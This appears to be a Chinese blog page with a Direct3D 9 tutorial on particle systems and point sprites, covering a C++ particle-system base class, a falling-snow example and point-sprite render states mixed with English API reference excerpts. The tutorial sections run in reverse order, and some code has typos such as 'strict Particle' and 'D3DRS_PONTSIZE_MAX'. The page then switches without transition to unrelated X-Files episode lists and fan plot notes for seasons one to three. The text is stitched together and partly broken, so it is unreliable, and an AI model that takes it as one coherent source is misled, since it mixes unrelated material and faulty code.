Rise的自留地

记录生活中的点滴,分享编程技术和游戏开发经验。

0%

14.3具体的粒子系统:雪、火、粒子枪

现在让我们用cParticleSystem类开始一个具体的粒子系统,为了说明用意,这些系统的设计很简单,没有用到cParticleSystem类所提供的所有灵活性。我们实现雪、火、粒子枪系统。雪系统模拟下落的雪花,火系统模拟看上去像火焰的爆炸,粒子枪系统从照相机位置向对面发射出粒子(用键盘)。
14.3.1 例子程序:雪

雪系统类定义如下:
    class cSnow : public cParticleSystem
    {
    public:
        cSnow(cBoundingBox* bounding_box, int num_particles);
        virtual void reset_particle(sParticleAttribute* attr);
        virtual void update(float time_delta);
    };

构造函数提供一个点给边界盒结构,边界盒是粒子系统的成员。边界盒描述雪花在哪个范围内(体积范围)下落,如果雪花出了边界盒,它将被杀死并再生。这样,雪系统始终能保存有同样数量的激粒子,构造函数的实现:
    cSnow::cSnow(cBoundingBox* bounding_box, int num_particles)
    {
        m_bounding_box    = *bounding_box;
        m_size            = 0.25f;
        m_vb_num        = 2048;
        m_vb_offset        = 0;
        m_vb_batch_num    = 512;
        for(int i = 0; i < num_particles; i++)
            add_particle();
    }

同样注意:我们指定顶点缓存的尺寸,每一批的尺寸和开始的偏移。

reset_particle方法创建一个雪花,在x、z轴随机的位置并在边界盒的范围内。设置y轴高度为边界盒的顶部。我们给雪花一个速度,以便让雪花下落时稍稍向左倾斜。雪花是白色的。
    void cSnow::reset_particle(sParticleAttribute* attr)
    {
        attr->is_alive = true;
        // get random x, z coordinate for the position of the snow flake
            get_random_vector(&attr->position, &m_bounding_box.m_min, &m_bounding_box.m_max);
        // no randomness for height (y-coordinate). 
        // Snow flake always starts at the top of bounding box.
            attr->position.y = m_bounding_box.m_max.y;
        // snow flakes fall downwards and slightly to the left
            attr->velocity.x = get_random_float(0.0f, 1.0f) * (-3.0f);
        attr->velocity.y = get_random_float(0.0f, 1.0f) * (-10.0f);
        attr->velocity.z = 0.0f;
        // white snow flake
        attr->color = WHITE;
    }

update方法更新粒子和粒子间的位置,并且测试粒子是否在系统的边界盒之外,如果它已经跳出边界盒,就再重新创建。
    void cSnow::update(float time_delta)
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            iter->position += iter->velocity * time_delta;
            // is the point outside bounds?
            if(! m_bounding_box.is_point_inside(iter->position))
                // recycle dead particles, so respawn it.
                    reset_particle(&(*iter));
        }
    }

执行程序:
    #include "d3dUtility.h"
    #include "camera.h"
    #include "ParticleSystem.h"
    #include <cstdlib>
    #include <ctime>
    #pragma warning(disable : 4100)
    const int WIDTH  = 640;
    const int HEIGHT = 480;
    IDirect3DDevice9*    g_device;
    cParticleSystem*    g_snow;
    cCamera                g_camera(AIR_CRAFT);
        ////////////////////////////////////////////////////////////////////////////////////////////////////
    bool setup()
    {   
        srand((unsigned int)time(NULL));
        // create snow system
        cBoundingBox bounding_box;
        bounding_box.m_min = D3DXVECTOR3(-10.0f, -10.0f, -10.0f);
        bounding_box.m_max = D3DXVECTOR3(10.0f, 10.0f, 10.0f);
        g_snow = new cSnow(&bounding_box, 5000);
        g_snow->init(g_device, "snowflake.dds");
        // setup a basic scnen, the scene will be created the first time this function is called.
            draw_basic_scene(g_device, 1.0f);
        // set the projection matrix
        D3DXMATRIX proj;
        D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI/4.0f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
        g_device->SetTransform(D3DTS_PROJECTION, &proj);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    void cleanup()
    {   
        delete g_snow;
        // pass NULL for the first parameter to instruct cleanup
        draw_basic_scene(NULL, 0.0f);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    bool display(float time_delta)
    {
        // update the camera
        if( GetAsyncKeyState(VK_UP) & 0x8000f )
            g_camera.walk(4.0f * time_delta);
        if( GetAsyncKeyState(VK_DOWN) & 0x8000f )
            g_camera.walk(-4.0f * time_delta);
        if( GetAsyncKeyState(VK_LEFT) & 0x8000f )
            g_camera.yaw(-1.0f * time_delta);
        if( GetAsyncKeyState(VK_RIGHT) & 0x8000f )
            g_camera.yaw(1.0f * time_delta);
        if( GetAsyncKeyState('N') & 0x8000f )
            g_camera.strafe(-4.0f * time_delta);
        if( GetAsyncKeyState('M') & 0x8000f )
            g_camera.strafe(4.0f * time_delta);
        if( GetAsyncKeyState('W') & 0x8000f )
            g_camera.pitch(1.0f * time_delta);
        if( GetAsyncKeyState('S') & 0x8000f )
            g_camera.pitch(-1.0f * time_delta);   
        // update the view matrix representing the camera's new position/orientation
        D3DXMATRIX view_matrix;
        g_camera.get_view_matrix(&view_matrix);
        g_device->SetTransform(D3DTS_VIEW, &view_matrix);   
        g_snow->update(time_delta);
        // render now
        g_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0x00000000, 1.0f, 0);
        g_device->BeginScene();
        D3DXMATRIX identity_matrix;
        D3DXMatrixIdentity(&identity_matrix);
        g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        draw_basic_scene(g_device, 1.0f);
        // order important, render snow last.
            g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        g_snow->render();
        g_device->EndScene();
        g_device->Present(NULL, NULL, NULL, NULL);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
    {
        switch(msg)
        {
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        case WM_KEYDOWN:
            if(word_param == VK_ESCAPE)
                DestroyWindow(hwnd);
            break;
        }
        return DefWindowProc(hwnd, msg, word_param, long_param);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
    {
        if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_device))
        {
            MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
            return 0;
        }
        if(! setup())
        {
            MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
            return 0;
        }
        enter_msg_loop(display);
        cleanup();
        g_device->Release();
        return 0;
    }

下载源程序

14.2粒子系统的组成

粒子系统是粒子的集合,用来保存和显示这些粒子。粒子系统维护所有粒子的全部属性,影响系统中的所有粒子:粒子的尺寸,起始的位置及应用在粒子上的纹理等。粒子系统的方法负责更新、显示、杀死和创建粒子。

虽然不同的具体(与抽象是相对的)粒子系统有不同的行为,我们归纳并找到一些所有的粒子系统共有的基本属性,我们把这些公共的属性放到一个抽象的cParticleSystem基类,它是我们所有的具体粒子系统的父类,现在让我们看一下cParticleSystem类:
    class cParticleSystem
    {
    protected:
        IDirect3DDevice9*            m_device;
        D3DXVECTOR3                    m_origin;
        cBoundingBox                m_bounding_box;
        float                        m_emit_rate;        // rate new particles are added to system
        float                        m_size;                // size of particles
            IDirect3DTexture9*            m_texture;
        IDirect3DVertexBuffer9*     m_vertex_buffer;
        list<sParticleAttribute>    m_particles;
        int                            m_max_particles;    // max allowed particles system can have
        // following three data elements used for rendering the particle system efficiently
        DWORD    m_vb_num;        // particle number in vertex buffer
        DWORD    m_vb_offset;    // offset in vertex buffer to lock
        DWORD    m_vb_batch_num;    // number of vertices to lock starting at m_vb_offset
    public:
        cParticleSystem();
        virtual ~cParticleSystem();
        virtual bool init(IDirect3DDevice9*    device, const char* texture_filename);
        virtual void reset();
        // sometimes we don't want to free the memory of a dead particle, but rather respawn it instead.
        virtual void reset_particle(sParticleAttribute* particl_attr) = 0;
        virtual void add_particle();
        virtual void update(float time_delta) = 0;
        virtual void pre_render();
        virtual void render();
        virtual void post_render();
        bool is_empty();
        bool is_dead();
    protected:
        virtual void remove_dead_particles();
    };

一些数据成员:

·        m_origin—粒子系统的原点, 这是粒子系统产生时的位置。

·        m_bounding_box—创建粒子系统使用的边界盒,用于限制粒子的活动范围。例如,假如我们让雪系统只落在一个围绕高山的峰顶的体积内,我们会定义一个包括这个体积的边界盒, 出界的粒子将会被杀死。

·        m_emit_rate—新增加到系统中的粒子的速度。通常的标准是每秒。

·        m_size—系统中所有粒子的尺寸。

·        m_particles—系统中粒子属性的一个列表。 我们用这个列表创建,释放及更新粒子。 当我们准备画粒子时, 我们COPY列表节点的一部分到顶点缓存并画粒子,同时我们COPY另外一批粒子,然后重复这一过程直到绘制完所有粒子。

·        m_max_particles—在给定的时间内,系统中允许的粒子最大数。例如,如果创建粒子的速度比释放快的话, 随着时间的增长粒子的数量将会是巨大的,这个成员将避免出现这样的问题。

·        m_vb_num—在给定的时间内顶点缓存中能够保存的粒子的数量,这个值与实际的粒子系统中的粒子数量无关。

注意:m_vb_offset和m_vb_batch_num数据成员在渲染粒子系统时使用,我们在稍后讨论。

方法:

cParticleSystem/ ~cParticleSystem—用来初始化默认值和用来释放设备接口 (vertex buffer, texture)。
    cParticleSystem::cParticleSystem()
    {
        m_device        = NULL;
        m_vertex_buffer = NULL;
        m_texture        = NULL;
    }
    cParticleSystem::~cParticleSystem()
    {
        safe_release<IDirect3DVertexBuffer9*>(m_vertex_buffer);
        safe_release<IDirect3DTexture9*>(m_texture);
    }

init—这个方法做与设备无关的初始化工作,比如创建用来保存点精灵的顶点缓存或创建纹理。
    bool cParticleSystem::init(IDirect3DDevice9* device, const char* texture_filename)
    {
        // Vertex buffer's number does not equal the number of particles in our system. 
        // We use the vertex buffer to draw a portion of our particles at a time. 
        // The arbitrary number we choose for the vertex buffer is specified by the m_vb_num variable.
        m_device = device;
        HRESULT hr;
        hr = device->CreateVertexBuffer(
                m_vb_num * sizeof(sParticle),
                D3DUSAGE_DYNAMIC | D3DUSAGE_POINTS | D3DUSAGE_WRITEONLY,
                PARTICLE_FVF,
                D3DPOOL_DEFAULT,    // D3DPOOL_MANAGED can't be used with D3DUSAGE_DYNAMIC
                &m_vertex_buffer,
                NULL);
        if(FAILED(hr))
        {
            MessageBox(NULL, "CreateVertexBuffer() - FAILED", "ParticleSystem", MB_OK);
            return false;
        }
        hr = D3DXCreateTextureFromFile(device, texture_filename, &m_texture);
        if(FAILED(hr))
        {
            MessageBox(NULL, "D3DXCreateTextureFromFile() - FAILED", "ParticleSystem", MB_OK);
            return false;
        }
        return true;
    }

o       注意: 我们使用动态的顶点缓存(D3DUSAGE DYNAMIC)。 因为我们需要在每帧中更新我们的粒子,意思是我们将会去存取顶点缓存的内存,回想一下,访问一个静态的顶点缓存慢得不可接受, 所以我们使用动态的顶点缓存。

o       查看我们用过的 D3DUSAGE_POINTS标记,它说明顶点缓存将保存点精灵。

o       顶点缓存的尺寸是由m_vb_num预先确定的,而且与系统中粒子的数量无关。 也就是说, m_vb_num将小于等于系统中粒子的数量。 这是因为渲染粒子系统是一批一批的,不是一次渲染全部。

o       我们使用默认的内存池(pool)代替通常使用的托管内存池,因为动态顶点缓存不能用在托管内存池中。

reset—这个方法重新设置系统中每个粒子的属性:
    void cParticleSystem::reset()
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
            reset_particle(&(*iter));
    }

reset_particle—这个方法重新设置粒子的属性。如何重设粒子的属性,这依赖于具体粒子系统的特性。因此我们定义这个方法为虚拟的,等待子类去实现。

add_particle—这个方法用来在系统中增加一个粒子。在增加它到粒子列表之前,使用reset_particle方法先初始化粒子:
    void cParticleSystem::add_particle()
    {
        sParticleAttribute attr;
        reset_particle(&attr);
        m_particles.push_back(attr);
    }

update—这个方法更新系统中所有的粒子。因为这个的方法的执行取决于具体粒子系统的特性,因此我们定义这个方法为抽象的,等待子类去实现。

render—这个方法用来显示系统中所有的粒子。

pre_render—用它来初始化渲染状态,在渲染前设置。 因为系统与系统之间是不同的,所以我们定义它为虚拟的。 默认将执行下列代码:
    void cParticleSystem::pre_render()
    {
        m_device->SetRenderState(D3DRS_LIGHTING,          FALSE);
        m_device->SetRenderState(D3DRS_POINTSPRITEENABLE, TRUE);
        m_device->SetRenderState(D3DRS_POINTSCALEENABLE,  TRUE);
        m_device->SetRenderState(D3DRS_POINTSIZE,          float_to_dword(m_size));
        m_device->SetRenderState(D3DRS_POINTSIZE_MIN,      float_to_dword(0.0f));
        // control the size of the particle relative to distance
            m_device->SetRenderState(D3DRS_POINTSCALE_A,    float_to_dword(0.0f));
        m_device->SetRenderState(D3DRS_POINTSCALE_B,    float_to_dword(0.0f));
        m_device->SetRenderState(D3DRS_POINTSCALE_C,    float_to_dword(1.0f));
        // use alpha from texture
            m_device->SetTextureStageState(0, D3DTSS_ALPHAARG1, D3DTA_TEXTURE);
        m_device->SetTextureStageState(0, D3DTSS_ALPHAOP,    D3DTOP_SELECTARG1);
        m_device->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE);
        m_device->SetRenderState(D3DRS_SRCBLEND,  D3DBLEND_SRCALPHA);
        m_device->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA);
    }

  注意:我们使用alpha混合渲染,以便设置纹理的alpha通道,来设置纹理像素的透明,用它产生多种效果。一种特殊的情况是:获得象纹理那样的非矩形的粒子。例如,获得一个圆形“雪球形”的粒子,我们使用一个简单的带有alpha通道的纹理,它看上去是背景为黑色的带有白色圆形的样子。因此,显示出来时只是一个白圆,这比白色的矩形纹理要好。

post_render—用它去保存所有渲染状态。因为系统与系统间是不同的,所以我们定义它为虚拟的。默认将执行下列代码:
    void cParticleSystem::post_render()
    {
        m_device->SetRenderState(D3DRS_LIGHTING, TRUE);
        m_device->SetRenderState(D3DRS_POINTSPRITEENABLE, FALSE);
        m_device->SetRenderState(D3DRS_POINTSCALEENABLE,  FALSE);
        m_device->SetRenderState(D3DRS_ALPHABLENDENABLE,  FALSE);
    }

is_empty—如果为True则在当前的系统中没有粒子, 否则为false.
    bool cParticleSystem::is_empty()
    {
        return m_particles.empty();
    }

is_dead—如果为True则系统中的所有粒子都是死的,否则为false。
    bool cParticleSystem::is_dead()
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            // Is there at least one living particle? If yes, the system is not dead.
            if(iter->is_alive)
                return false;
        }
        // No living particles found, the system must be dead.
        return true;
    }

remove_dead_particles—搜索属_particle性表,从表中杀死并删除粒子。
    void cParticleSystem::remove_dead_particles()
    {
        list<sParticleAttribute>::iterator iter = m_particles.begin();
        while(iter != m_particles.end())
        {       
            if(! iter->is_alive)
                // erase returns the next iterator, so no need to increment to the next one ourseleves.
                    iter = m_particles.erase(iter);
            else
                iter++;    // next in list
        }
    }

许多自然现象是由很多小的小颗粒组成的,它们有相似的行为。(例如,雪花落下,闪烁的火焰,冲出枪管的“子弹”),粒子系统用来模拟这种现象。

14.1 粒子和点精灵(Point Sprite)

粒子是一个很小的对象,它通常用来模拟数学中的一个点。点元是用来显示粒子的很好的方案,可是点元被光栅化成一个简单的像素。这没给我们多少灵活性,因为我们想有各种大小不同的粒子,并且把整个纹理平滑映射到这些粒子上。在Direct3D 8.0以前,因为点元方法的局限性而完全不使用他们。代替的方法是程序员将使用公告板去显示粒子,一个板是一个方格,世界矩阵用它来确定方向,使它总是朝向照相机。

Direct3D 8.0引入一个特殊的点元叫点精灵,多数时候被应用在粒子系统中。与一般的点元不同的是,点精灵有纹理映射并能改变大小。与公告板不同的是,能用一个简单的点描述一个点精灵,节省内存和处理时间,因为我们只是必须保存和处理一个点,而公告板则是四个。
14.1.1 结构的格式

我们使用下面的顶点结构来描述粒子的位置和颜色:
struct sParticle
{
    D3DXVECTOR3 position;
    D3DCOLOR    color;
};

const DWORD PARTICLE_FVF = D3DFVF_XYZ | D3DFVF_DIFFUSE;

这个结构只保存粒子的位置和颜色,这取决于你程序的需要,你能够用同样的结构去保存一套纹理坐标。

增加一个浮点变量给Particle结构去指定粒子的大小是可能的。我们必须增加一个D3DFVF_PSIZE标记给我们的灵活的顶点格式,以反映这个变化。每个粒子维护自己的大小很有用,因为它允许我们以具体情况指定并改变粒子的大小。可是,大多数的图形卡不支持控制粒子的大小,因此我们不使用它。(检查D3DFVFCAPS_PSIZE在D3 DCAPS9结构的FVFCaps成员)代替的方法是用渲染状态(render states)去控制粒子的大小,就像你很快看到的,有尺寸成员的顶点结构的例子:
strict Particle

{

     D3DXVECTOR3 _position;

     D3DCOLOR    _color;

     float       _size;

     static const DWORD FVF;

};

const DWORD Particle::FVF = D3DFVF XYZ | D3DFVF DIFFUSE |  D3DFVF_PSIZE;

注意:通过vertex shader,能够获取每个粒子的大小,即使你的硬件不支持D3DFVFCAPS_PSIZE。
14.1.2点精灵(Point Sprite)渲染状态

点精灵的行为大部分由渲染状态(render states)来控制,现在让我们来看一下这些渲染状态:

D3DRS_POINTSPRITEENABLE—A Boolean value. The default value is false.

True表示将当前的纹理全部映射到点精灵上。

False 表示用指定的纹理坐标映射到点精灵的点(图素)上。

_device->SetRenderState(D3DRS_POINTSPRITEENABLE, true);
D3DRS_POINTSPRITEENABLE
bool value. When TRUE, texture coordinates of point primitives are set so that full textures are mapped on each point. When FALSE, the vertex texture coordinates are used for the entire point. The default value is FALSE. You can achieve DirectX 7 style single-pixel points by setting D3DRS_POINTSCALEENABLE to FALSE and D3DRS_POINTSIZE to 1.0, which are the default values.

D3DRS_POINTSCALEENABLE—A Boolean value. The default value is false.

True表示用视图空间单位来解释点的大小。视图空间单位的3D空间点在照相机中,点精灵将会自动缩放,这取决到它有多远, 像其他对象一样,离照相机近的粒子比离照相机远的粒子要大。

False 表示点的大小将用屏幕空间单位来解释。屏幕空间单位是屏幕上的像素单位。. 因此如果你指定false, 例如, 设置点精灵的尺寸为3, 则点精灵在屏幕区域中的尺寸为3×3像素。.

_device->SetRenderState(D3DRS_POINTSCALEENABLE, true);
D3DRS_POINTSCALEENABLE
bool value that controls computation of size for point primitives. When TRUE, the point size is interpreted as a camera space value and is scaled by the distance function and the frustum to viewport y-axis scaling to compute the final screen-space.

D3DRS_POINTSIZE—表示点精灵的尺寸. 这个值可以任意指定视图空间或屏幕空间的点精灵的尺寸, 取决于D3DRS_POINTSCALEENABLE状态如何设置. 下面的代码段设置点的尺寸为2.5个单位。:

_device->SetRenderState( D3DRS_POINTSIZE, float_to_dword(2.5f) );
D3DRS_POINTSIZE
A float value that specifies the size to use for point size computation in cases where point size is not specified for each vertex. This value is not used when the vertex contains point size. This value is in screen space units if D3DRS_POINTSCALEENABLE is FALSE; otherwise this value is in world space units. The default value is the value a driver returns. If a driver returns 0 or 1, the default value is 64, which allows software point size emulation. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSIZE, *((DWORD*)&pointSize));
DWORD float_to_dword(float f)
{
    return *((DWORD*)&f);
}

D3DRS_POINTSIZE_MIN—表示点精灵的最小尺寸。例子,将设置最小值为0.2:

_device->SetRenderState(D3DRS_POINTSIZE_MIN, float_to_dword(0.2f));
D3DRS_POINTSIZE_MIN
A float value that specifies the minimum size of point primitives. Point primitives are clamped to this size during rendering. Setting this to values smaller than 1.0 results in points dropping out when the point does not cover a pixel center and antialiasing is disabled or being rendered with reduced intensity when antialiasing is enabled. The default value is 1.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSIZE_MIN, *((DWORD*)&pointSizeMin));

D3DRS_POINTSIZE_MAX—表示点精灵的最大尺寸。例子,将设置最大值为5.0:

_device->SetRenderState(D3DRS_POINTSIZE_MAX, float_to_dword(5.0f));
D3DRS_POINTSIZE_MAX
A float value that specifies the maximum size to which point sprites will be clamped. The value must be less than or equal to the MaxPointSize member of D3DCAPS9 and greater than or equal to D3DRS_POINTSIZE_MIN. The default value is 64.0. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_PONTSIZE_MAX, *((DWORD*)&pointSizeMax));

D3DRS_POINTSCALE_A, D3DRS_POINTSCALE_B, D3DRS_POINTSCALE_C—这3个常量表示如何根据距离控制点精灵的尺寸—这个距离是点精灵到照相机的距离。
D3DRS_POINTSCALE_A
A float value that controls for distance-based size attenuation for point primitives. Active only when D3DRS_POINTSCALEENABLE is TRUE. The default value is 1.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSCALE_A, *((DWORD*)&pointScaleA));
D3DRS_POINTSCALE_B
A float value that controls for distance-based size attenuation for point primitives. Active only when D3DRS_POINTSCALEENABLE is TRUE. The default value is 0.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSCALE_B, *((DWORD*)&pointScaleB));
D3DRS_POINTSCALE_C
A float value that controls for distance-based size attenuation for point primitives. Active only when D3DRS_POINTSCALEENABLE is TRUE. The default value is 0.0f. The range for this value is greater than or equal to 0.0f. Because the IDirect3DDevice9::SetRenderState method accepts DWORD values, your application must cast a variable that contains the value, as shown in the following code example.
m_pDevice9->SetRenderState(D3DRS_POINTSCALE_C, *((DWORD*)&pointScaleC));

D3D用以下的公式去计算点精灵的最终尺寸,这取决于距离和这3个常量。

其中:

FinalSize:距离计算后,点精灵的最后尺寸。

ViewportHeight:视口的高度。

Size:分别为D3DRS_POINTSCALE_A, D3DRS_POINTSCALE_B, and D3DRS_POINTSCALE_C值。
D:在视图空间中点精灵与照相机的距离。因为照相机被放置在视图空间中的原点,这个值是:,也是点精灵所在的位置。

下面代码设置点精灵的距离常量,因此远处的点精灵将变小。
_device->SetRenderState(D3DRS_POINTSCALE_A, float_to_dword(0.0f));

_device->SetRenderState(D3DRS_POINTSCALE_B, float_to_dword(0.0f));

_device->SetRenderState(D3DRS_POINTSCALE_C, float_to_dword(1.0f));

14.1.3 粒子和他们的属性

一个粒子系统是由除了位置、颜色以外的更多的属性组成,例如,一个粒子有速度。然而,这些额外的属性对于渲染粒子来说不是必须的。因此,我们在单独的结构中保存渲染粒子所必须的数据和属性。当我们创建、显示或更新粒子时,我们使用属性来工作。当我们准备渲染时,我们从sParticle(粒子)结构中COPY位置和颜色。

对于我们模拟的具体粒子系统,粒子的属性也是不同的。因此我们能够归纳一些通用的属性,大多数系统用不上这么多,一些系统需要的属性这里可能还没有。
struct sParticleAttribute
{
    sParticleAttribute()
    {
        life_time = 0.0f;
        age          = 0.0f;
        is_alive  = true;
    }

    D3DXVECTOR3 position;
    D3DXVECTOR3 velocity;
    D3DXVECTOR3 acceleration;
    float        life_time;        // how long the particle lives for before dying
    float        age;            // current age of the particle
    D3DXCOLOR    color;            // current color of the particle
    D3DXCOLOR    color_fade;        // how the color fades with respect to time
    bool        is_alive;
};

position—粒子在世界空间中的位置

velocity—粒子的速度,每秒多少个单位。

acceleration—粒子的加速度, 每秒多少个单位。

life_time—粒子的生命周期. 例如,当一个时间段后,我们可以杀死一个激光柱的粒子.

age—粒子的当前年龄。

color—粒子的颜色。

color_fade—粒子随时间的变化而褪去的颜色。

is_alive—True 表示粒子活着;false 表示粒子死了。

X-Files 第(1)季目录及剧情简介
1X01 领航员 Pilot
1X02 深喉咙 DEEP THROAT
1X03 突变异种 SQUEEZE
1X04 奥卡布基湖奇案 CONDUIT
1X05 泽西恶魔 THE JERSEY DEVIL
1X06 鬼魅阴影(幽魂) SHADOWS
1X07 幽灵电脑 GHOST IN THE MACHINE
1X08 冰核计划 ICE
1X09 太空惊魂 SPACE
1X10 坠落天使 FALLEN ANGEL
1X11 夺命夏娃 EVE
1X12 恶魔烈火 FIRE
1X13 心灵感应 BEYOND THE SEA
1X14 性别扭曲 GENDERBENDER
1X15 至死不渝 LAZARUS
1X16 追命恶魔 YOUNG AT HEART
1X17 外星访客 E.B.E.
1X18 神迹 MIRACLE MAN
1X19 变形狼人 SHAPES
1X20 夜幕低垂 DARKNESS FALLS
1X21 终结突变异种 TOOMS
1X22 附身 BORN AGAIN
1X23 双胞奇缘 ROLAND
1X24 外星混血 THE ERLENMEYER FLASK

在第一季里...
 * Mulder和Scully相识并成为搭档。(领航员)
 * Scully在Mulder面前宽衣解带,给他看她的后腰。(领航员)
 * Scully撞到Mulder和旧情人在接吻,并表现出了一丝丝的嫉妒。(恶魔烈火)
 * Scully的父亲去世,他在步入天堂之前匆匆拜访了Scully。(心灵感应)
 * Scully被一名占据了他前任男友身体的罪犯绑架,这是她第一次被绑架。(至死不渝)
 * 孤枪侠首次出场。Frohike说Scully很“诱人”。(外星访客)
 * Mulder骗Scully说他从不让别人叫他“Fox”。(终结突变异种)
 * Mulder被绑架了,Scully偷了一个外星人胚胎去交换他。(外星混血)
 * X档案被关闭,Mulder和Scully被分开。(外星混血)
2005-4-14 14:17 龙骑兵
X-Files 第(2)季目录及剧情简介
2X01 绿色小矮人 LITTLE GREEN MEN
2X02 下水道惊魂记 THE HOST
2X03 恐惧症 BLOOD
2X04 不能睡的人 SLEEPLESS
2X05 第四类接触(上) DUANE BARRY
2X06 第四类接触(下) ASCENSION
2X07 三位一体 3
2X08 起死回生 ONE BREATH
2X09 火山口惊魂 FIREWALKER
2X10 红色博物馆 RED MUSEUM
2X11 再生 EXCELSIUS DEI
2X12 剃刀杀人狂 AUBREY
2X13 摧花狂疑云 IRRESISTIBLE
2X14 巫教学校 DIE HAND DIE VERLETZT
2X15 巫毒的复仇 FRESH BONES
2X16 殖民地球(上) COLONY
2X17 殖民地球(下) END GAME
2X18 审判 FEARFUL SYMMETRY
2X19 幽灵船 DOD KALM
2X20 斑身人 HUMBUG
2X21 巫童 THE CALUSARI
2X22 剖尸 F. EMASCULATA
2X23 柔光 SOFT LIGHT
2X24 我们的小镇 OUR TOWN
2X25 外星档案(上) ANASAZI

在第二季里...
* Mulder偷偷跑去南美丛林寻找外星人,Scully赶去援救他。(绿色小矮人)
 * Alex Krycek首次亮相。(不能睡的人)
 * Gillian Anderson怀孕了。
 * Scully再次被绑架了,这次是外星人干的。于是GA就有时间去生孩子了。(第四类接触(下))
 * X档案重新开启。(第四类接触(下))
 * Mulder有了在整部影集播出中唯一的一次性行为,也许直到第七年为止。(三位一体)
 * Melissa Scully首次出场。(起死回生)
 * Scully被外星人送了回来,并险些因为她的家人移除了她的维生装置而死亡。(起死回生)
 * 我们知道了Skinner原来曾是一名海军陆战队员,在越南受重伤时经历了灵魂出体的体验,但最终活了来下来并告诉我们这一切。(起死回生)
 * Scully又被绑架了,这次绑架她的是Donnie Pfaster,一个恶魔化身的死亡崇拜者。(摧花狂疑云)
 * 当看到一名成年妇女声称自己是Samantha Mulder时,我们第一次上了个大当。(殖民地球(上))
 * 又一次,Scully被一名外星赏金猎人绑架了,Mulder用他的“妹妹”做了交换。(殖民地球(下))
 * Scully在医院发威,指挥医生们治疗从其北极之旅归来的Mulder,救活了他的命。(殖民地球(下))
 * Scully再一次地被绑架了,这次是一群食人族。她还几乎被斩首,变成镇里的人的盘中餐。(我们的小镇)
 * Mulder被人下了毒,并在胡佛大厦的走廊里和Skinner打了一架。(外星档案(上))
 * Mulder的父亲被谋杀了。(外星档案(上))
 * Scully开枪打伤了Mulder,然后带着他驾车穿越整个美国,并细心照顾他直到他康复,于是癌人就能够把他困在被掩埋的列车车厢里,并试图烧死他。(外星档案(上))
2005-4-14 14:18 龙骑兵
X-Files 第(3)季目录及剧情简介
3X01 外星档案(中) THE BLESSING WAY
3X02 外星档案(下) PAPER CLIP
3X03 闪电人 D.P.O.
3X04 相士杀手 CLYDE BRUCKMAN'S FINAL REPOSE
3X05 回魂复仇者 THE LIST
3X06 网络情人 2SHY
3X07 幽灵士兵 THE WALK
3X08 解脱 OUBLIETTE
3X09 扑朔迷离(上) NISEI
3X10 扑朔迷离(下) 731
3X11 天启 REVELATIONS
3X12 粪虫大战 WAR OF THE COPROPHAGES
3X13 双姝奇缘 SYZYGY
3X14 恶魔图像 GROTESQUE
3X15 追凶记(上) PIPER MARU
3X16 追凶记(下) APOCRYPHA
3X17 步步危机 PUSHER
3X18 阿玛鲁 TESO DOS BICHOS
3X19 冥纸 HELL MONEY
3X20 科幻故事 JOSE CHUNG'S 'FROM OUTER SPACE'
3X21 梦妖 AVATAR
3X22 湖怪 QUAGMIRE
3X23 电视杀人事件 WETWIRED
3X24 追杀令 TALITHA CUMI

在第三季里...
* Scully被停职,Mulder被认为已经死了。(外星档案(中))
 * Scully发现了她脖子后的植入物,并把它取了出来。(外星档案(中))
 * Scully用枪指着Skinner,Skinner用枪指着Scully,Mulder用枪指着Skinner。这是个墨西哥平局!(外星档案(中))
 * Krycek和Luis Cardinale意外地杀害了Scully的姐姐Melissa。当然,他们原来是想杀Scully的。(外星档案(中))
 * Skinner对癌人说“噘起你的老嘴亲我的P股”。(外星档案(下))
 * Willianm B. Davis(癌人)证明了这已超出他的表演能力范围。(外星档案(下))
 * Clyde Bruckman告诉Scully她是不会死的。(相士杀手)
 * Scully领养了一只狗。(相士杀手)
 * Scully吸烟了。(双姝奇缘)
 * 他们用Gillian Anderson女儿的名字[Piper]为这集命名。(追凶记(上) Piper Maru)
 * Skinner被用于杀害Scully姐姐的同一支枪击中了。(追凶记(下))
 * Mulder在和Robert Modell玩俄罗斯轮盘赌时,差点儿向Scully开枪。(步步危机)
 * 我们了解到原来Skinner已经结过婚。他与一名妓女发生了关系,并由于他的睡眠紊乱症而有可能在睡梦中杀害了她,他的妻子也去世了--可能。(梦妖)
